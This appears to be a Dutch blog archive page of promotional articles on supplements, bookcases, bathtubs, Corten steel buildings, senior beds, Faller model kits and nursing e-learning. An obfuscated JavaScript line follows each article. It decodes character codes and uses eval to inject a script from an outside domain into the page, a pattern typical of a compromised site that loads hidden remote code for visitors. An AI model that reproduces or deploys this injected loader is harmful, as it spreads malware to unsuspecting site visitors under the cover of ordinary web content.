Maand: november 2020

Een extra duwtje in de rug met voedingssupplementen van RainPharma

Je kan jezelf de vraag stellen, waarom voedingssupplementen nemen als je toch elke dag gezond en gevarieerd eet?

Onze huidige eetgewoonten zijn sterk geëvolueerd in de laatste decennia en het is bijna onmogelijk geworden om alle vitamines, mineralen, vetzuren, aminozuren en enzymen die we nodig hebben voor een gezond lichaam en een gezonde geest, uit onze voeding te halen.

Kleine moeite, groot effect

Op zo’n moment kan het zeker zinvol zijn om voedingssupplementen in je dagelijkse routine te introduceren, in combinatie met een gezond en uitgebalanceerd voedingspatroon.  Zo gun je je lichaam een duwtje in de rug en werk je aan je optimale gezondheid van binnenuit.

De orthomoleculaire voedingssupplementen van RainPharma bijvoorbeeld, zijn supplementen van hoogwaardige kwaliteit en kunnen je lichaam voorzien van de stoffen die het nodig heeft in onze moderne levensstijl, in de juiste dosis en verhouding. Ze kunnen ook een mooie aanvulling zijn bij sportprestaties en in een periode van afslanking.

Welke voedingssupplementen kiezen?

Het is uiteraard ontzettend belangrijk om de juiste supplementen te nemen specifiek voor jouw lichaam en haar noden en in de optimale verhoudingen voor jouw probleem.

Daarom is het belangrijk om je te laten adviseren over de voedingssupplementen door jouw RainPharma verkooppunt, zodat jij zeker bent dat je een optimaal plan van aanpak hebt en je alles uit je voedingssupplementen haalt. Jouw RainPharma verkooppunt heeft een degelijke opleiding gevolgd over al de supplementen en hun werking en zij weten welke supplementen je beste met elkaar combineert. Zij kijken samen met jou naar het probleem en adviseren jou over welke voedingssupplementen ideaal voor jou zijn.

Gezonde voeding in een pilletje?

Een weldoordacht voedingssupplementen-programma is ideaal ter ondersteuning van een gezond voedingspatroon, maar kan in geen geval natuurlijke voeding vervangen. Ga dus voor jouw optimale gezondheid met een gezond voedingspatroon, voldoende beweging en een extra push met RainPharma voedingssupplementen.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Hoe koop je de perfecte boekenkast?

Eerst, beoordeel je behoeften. Bepaal of je een enorme boekencollectie hebt om op te slaan, een paar leesmaterialen met wat kunstzinnige accessoires, een beetje van beide, of misschien heb je gewoon wat negatieve ruimte op de muur die je wilt vullen. Als je eenmaal hebt ingeschat wat je wilt, is het tijd om de belangrijkste punten voor het winkelen voor je nieuwe kast door te nemen.

1.) Grootte

Meet de ruimte waar je mee werkt. Dat zal helpen om de hoeveelheid mogelijke kasten te verkleinen in een zee van mogelijkheden. Zorg ervoor dat u de schapruimte meet als u kiest voor een boekenkast met vaste schappen. Ook in de hoofdruimte boven de boeken.

2.) Materiaal

Boekenkasten moeten een doel hebben, ongeacht het materiaal. Wil je een kast kopen die lang meegaat? Dan speelt het materiaal echter wel mee. Massief hardhout en metalen zijn een investering en gaan langer mee. Aan de andere kant zijn ze veel zwaarder en lastiger te verplaatsen. Houtfineer en multiplex zijn veel gebruikte materialen in boekenkasten, een goede keuze voor rustieke of meer traditionele decoratiethema’s.

3.) Verstelbare planken

Pas uw opslagruimte aan en speel met verschillende hoogtes om aan uw behoeften te voldoen. Niet alle boeken en decors zijn gelijk, dus als u verschillende maten hebt en de vrijheid wilt hebben om uw spullen op te bergen, dan zijn verstelbare schappen misschien de juiste keuze.

4.) Open rug Boekenkasten

Deel je een ruimte of wil je de illusie van een grotere ruimte geven? Een open achterste boekenkast werkt goed als ruimteverdeler en is van voren en van achteren toegankelijk. Open achterste boekenkasten kunnen overal geplaatst worden, niet alleen tegen een muur of in een hoek.

5.) Tentoongesteld of weggestopt

Denk aan een boekenkast met deuren en/of lades om ongewenste rommel of voorwerpen die u niet wilt laten zien te verbergen. Ze hebben de extra veiligheid om de inhoud verborgen en stofvrij te houden. Een vitrinekast, of een open boekenkast, is gebruikelijker en slaat niet alleen uw spullen op, maar geeft ze ook weer. Als u aandenkens, foto’s of kunstwerken heeft waar u van houdt, dan is een vitrinekast iets voor u.

6.) Afwerking & Stijl

Wat er goed uitziet in de ene ruimte past misschien niet bij een andere, dus overweeg alle afwerkingsopties (zelfs vette kleuren, als u dat wenst). Heb ook een open geest met stijl. Als uw stijl bijvoorbeeld meer aan de moderne kant is, zou u verbaasd kunnen zijn dat een rustieke, verweerde boekenkast er perfect in past.

7.) Soorten boekenkasten

Keuze is een mooi iets. Lees verder om meer te weten te komen over de verschillende soorten boekenkasten en de perfecte pasvorm te vinden voor uw ruimte en opslag.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Welk bad moet je kiezen?

Investeren in een nieuw bad geeft niet alleen uw badkamer een frisse, nieuwe look, maar verandert ook uw dagelijkse ritueel in een ontspannende retraite die u aan het einde van de dag kalmeert en tot rust brengt. Het bad is vaak het belangrijkste aandachtspunt van de badkamer, dus u moet goed nadenken over het soort stijl, vorm en materiaal dat u wilt.

Enkelzijdige baden

De term enkelvoudig bad is een beetje verwarrend. Moeten niet alle baden twee uiteinden hebben? Enkelzijdig betekent gewoon dat de afval- en overloopstand zich aan één uiteinde bevindt, in plaats van in het midden. Het betekent ook dat de ene kant een helling heeft, en de andere kant (die met de overloop en afvoergaten) een steilere kant heeft, ideaal om te douchen, omdat je dan mooi dicht bij de muur kunt komen.

Dubbelzijdige baden

Een lange badkuip is een ontspannende ervaring, dus waarom zou je er alleen van genieten? Dubbelzijdige baden zijn prima te gebruiken door twee personen, of misschien wel vaker door één persoon die wat meer ruimte wil. Ze zien er ook symmetrischer uit met de centrale afval- en overloopstand.

Douchebaden

Het douchebad is zeer populair, waarschijnlijk omdat de sommige badkamers berucht klein zijn en dit type bad zorgt voor de ontspanning van een bad met de meer praktische kant van het douchen. Sommige douchebaden hebben een geïntegreerde plank die zowel waterbesparend is als een ruimte biedt voor al uw shampoos, conditioners en bodylotions.

Traditionele rolbaden

Een rolbad is een vrijstaand bad met aan de bovenzijde gebogen randen, waardoor een opvallend afgerond effect ontstaat rond de rand van het bad. Veel mensen vinden het uiterlijk van een rolbad strak en zeer klassiek; deze badkuipen komen vaak voor in gerestaureerde historische huizen en historische ontwerpen.

Moderne vrijstaande baden

Vrijstaande baden worden steeds populairder door het fantastische designstatement dat ze maken; alleen deze baden kunnen u dat elegante, verfijnde gevoel geven alsof u zich in een retraite of een dure spa bevindt. Ze werken het beste in grotere badkamers waar er genoeg ruimte voor u is om rond het bad te lopen, en ze bieden u de mogelijkheid om uw bad overal in uw badkamer te plaatsen, terwijl ze een impact hebben op iedereen die door de deur stapt. Wanneer je een mooi vrijstaand bad hebt moet je er ook mooie badhanddoeken bij kopen, pas dan is je badkamer echt af!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Beroemste gebouwen van cortenstaal

Cortenstaal is het materiaal dat bekend staat om het ruige roestige uiterlijk. Het geeft een stoere uitstraling en wordt vaak gebruikt in de tuin gebruikt als border of plantenbak. Naast deze kleine toepassingen zijn er ook hele grote gebouwen gemaakt van cortenstaal. Deze gebouwen zijn hierdoor niet alleen functioneel, maar worden ook beschouwd als een imposant kunstwerk dat ook van de buitenkant mooi is om te bezichtigen. Hieronder staan de mooiste en beroemde gebouwen die gemaakt zijn van cortenstaal. 

USA Steel Tower 

Het beroemdste gebouw van Corstenstaal is de USA Steel Tower in Pittsburgh. Deze wolkenkrabber is de hoogste wolkenkrabber in Pittsburgh, met een hoogte van 256 meter. Het gebouw bevat meer dan 44.000 ton staal en bijna een hectare kantoorruimte per verdieping. De U.S. Steel Tower staat architectonisch bekend om zijn driehoekige vorm met ingesprongen hoeken. U.S. Steel plaatste de massieve stalen wanden opzettelijk aan de buitenkant van het gebouw om een nieuw product genaamd cortenstaal te demonstreren.  

Barclay Center Sports Arena 

Deze ongelooflijke structuur in het hart van Brooklyn werd in 2012 geopend met niemand minder dan Jay-Z als headliner. De Barclay Center Sports Arena is zo’n imposante arena dat een serieuze concurrentie geeft aan Madison Square Garden, de beroemdste arena ter wereld. Barclay Center Sports Arena is ook de thuisbasis van twee grote sportteams. Het basketbalteam ‘The Brooklyn Nets’ en het ijshockeyteam ‘The New-York Islanders’.  

Hoofdkantoor van John Deere  

Het hoofdkantoor van John Deere heeft een paradijselijke binnentuin waarvan de constructie gemaakt is van cortenstaal. De binnentuin bestaat al meer dan 60 jaar en ziet er nog mooier uit dan op de dag waarop het gemaakt het. Dit komt door de indrukwekkende eigenschappen van cortenstaal. Dit staal is bestand tegen de corrosieve effecten van regen, sneeuw, ijs, mist en andere weersomstandigheden. Dit doet het door een laag donkerbruine oxidatie over het metaal te vormen, waardoor verdere omstandigheden het niet kunnen aantasten. Hierdoor is kostbaar roestpreventieonderhoud over de jaren niet nodig en hoeft de constructie ook niet geverfd te worden.  

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De voordelen van een seniorenbed

Op het eerste gezicht verschillen seniorenbedden niet van normale bedden. Ze zijn er in allerlei soorten en maten. Van 1 persoonsbedden tot 2 persoonsbedden en van klassiek tot modern. De bedden hebben meestal een grote ombouw die nodig is voor de verstelbare bodemdrager. De beddragers zijn verstelbaar waardoor de ideale hoogte voor het in en uit stappen kan worden ingesteld.

Makkelijk in- en uitstappen

Op oudere leeftijd is een seniorenbed ideaal omdat het in- en uitstappen zo gemakkelijker wordt. Een hoger bed zorgt er ook voor dat het bed makkelijker opgemaakt kan worden en dat er makkelijker kan worden schoongemaakt onder het bed. Ook voor je verzorgers is een hoger bed fijner. Hierdoor krijgt de verzorgende minder last van haar of zijn rug.

Ruim assortiment bij Eurobedden

Bij eurobedden vind je een ruim aanbod aan seniorenbedden. Het assortiment biedt voor ieder wat wils. Van eenvoudige exemplaren tot luxe exemplaren met bijpassende nachtkastjes. Er zijn bedden die je met de hand kan verstellen maar ook bedden die elektrisch verstelbaar zijn. Veel seniorenbedden zijn ook deelbaar, waardoor je ze gemakkelijk uit elkaar rijdt.

Elektrisch verstelbaar

Een seniorenbed elektrisch verstelbaar is gecombineerd met een verstelbare lattenbodem. Hierdoor kan je op een comfortabele manier ervoor kiezen om hoger of lager te gaan liggen. Daarnaast kan je jouw rug en jouw benen verstellen. Hierdoor vind je altijd de perfecte slaappositie. Een goede nachtrust zorgt ervoor dat je de volgende dag weer energiek bent.

Seniorenbed kopen

Als je opzoek bent naar een seniorenbed ben je bij Eurobedden op het juiste adres. In de webshop en in de showroom vind je een ruim assortiment aan seniorenbedden. Van een elektronisch seniorenbed tot een 2 persoon seniorenbed. Daarnaast kan je bij Eurobedden ook terecht voor een bijpassend matras. Boven een bestelling van €350 wordt het bed gratis geleverd en helpt het team van Eurobedden je met de montage.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Het befaamde merk in de wereld van modelbouw: Faller

Als je ook houdt van de hobby modelbouw dan klinkt de naam Faller je wel bekend in de oren. Faller is een Duitse fabrikant van modelbouw producten dat erg befaamd is in de wereld van modelbouw. Ze zijn klein begonnen, maar over de jaren is dit merk uitgegroeid tot een bekende speler in de markt. In het verleden deden zij vooral racebaan systemen, maar tegenwoordig heeft Faller een erg uitgebreid assortiment aan modelbouw pakketten. Dit varieert van kermis pakketten tot landschapsbouw pakketten. Hieronder staan de meest iconische productlijnen van het merk Faller.  

Spoorwegennet 

Faller is onder meer bekend van het spoorwegennet. Modelo Mondo heeft speciaal voor de echte fans, alle spoorwegen, gebouwen en attributen van het spoorwegennet van Faller in het assortiment. Speciaal voor de goederentreinen heeft Faller een goederenloods ontwikkeld. Er zijn van Faller ook nog remisen, stookinstallaties, seintorens en spoorweg lodges om het spoorwegennet nog wat realistischer en completer te maken. Als ervaren verzamelaar zal je niet snel een onderdeel missen. 

Faller Car Systeem 

Een gave toevoeging van Faller modelbouw is het bekende Car Systeem. Dit systeem zorgt ervoor dat je modelbaan nog realistischer wordt. Zo kunnen dankzij dit systeem voertuigen automatisch rondrijden. Het werkt eenvoudig via een magneet die een ijzerdraad volgt. Deze ijzerdraad is gefreesd in het wegdek, waardoor deze eigenlijk niet opvalt. Door dit unieke technologische voordeel wat Faller biedt zal een stad van modelbouw helemaal opleven. 

Beroepssectoren  

Faller heeft ook grote diversiteit aan sector-gerelateerde modelbouw pakketten, waaronder modellen van landschapsbouw, handels- en industriebedrijven. Hierbij zou je kunnen denken aan havens waarin gehandeld wordt of industriële fabrieken.  

Vrije tijd  

Modelo Mondo heeft ook een uitgebreid aanbod aan modellen met het thema ‘vrije tijd’. Zo zijn er campings, hotels en zwembaden voor de vakantie. Ook is het mogelijk om je eigen kermis volledig op te bouwen. Van draaimolens tot achtbanen, de mogelijkheden zijn eindeloos. 

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Welke e-learning moet je gedaan hebben als je in de werkt?

Werken in de zorg is het mooiste en meest dankbare beroep dat er is. Je wilt zorgvragers dan ook de beste zorg kunnen bieden die er is. En dat vraagt om bijscholing. Je kunt dan kiezen uit talloze e-learning en cursussen die je kunt volgen, maar welke e-learning is nu echt relevant als je niveau 5 verpleegkundige bent en je de HBO V, HBO MGZ of de inservice A met wijkaantekening hebt?

Ons advies? Volg de e-learning Vakbekwaam indiceren met Omaha system.

Vakbekwaam indiceren gaat over het stellen van een diagnose, het formuleren van doelen en het opstellen van een zorgplan. Dit is het startpunt van goede en passende zorgverlening. Bij een zorgplan dien je dus zorgvuldig te zijn. Superbelangrijk dus dat jij als verpleegkundige dit proces gestructureerd en volledig aanpakt.

De e-learning Vakbekwaam Indiceren kan je hierin goed op weg helpen. Met de online cursus voldoe je aan alle scholingseisen rond indiceren en werken met Omaha System. De e-learning heeft een duidelijke, opbouwende opzet en zit vol met praktijkgerichte casussen. Je leert waaraan een indicatie moet voldoen en hoe je de indicatie in Omaha stelt. Via deze online cursus krijg je het indiceren met Omaha System en indiceren echt onder de knie.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);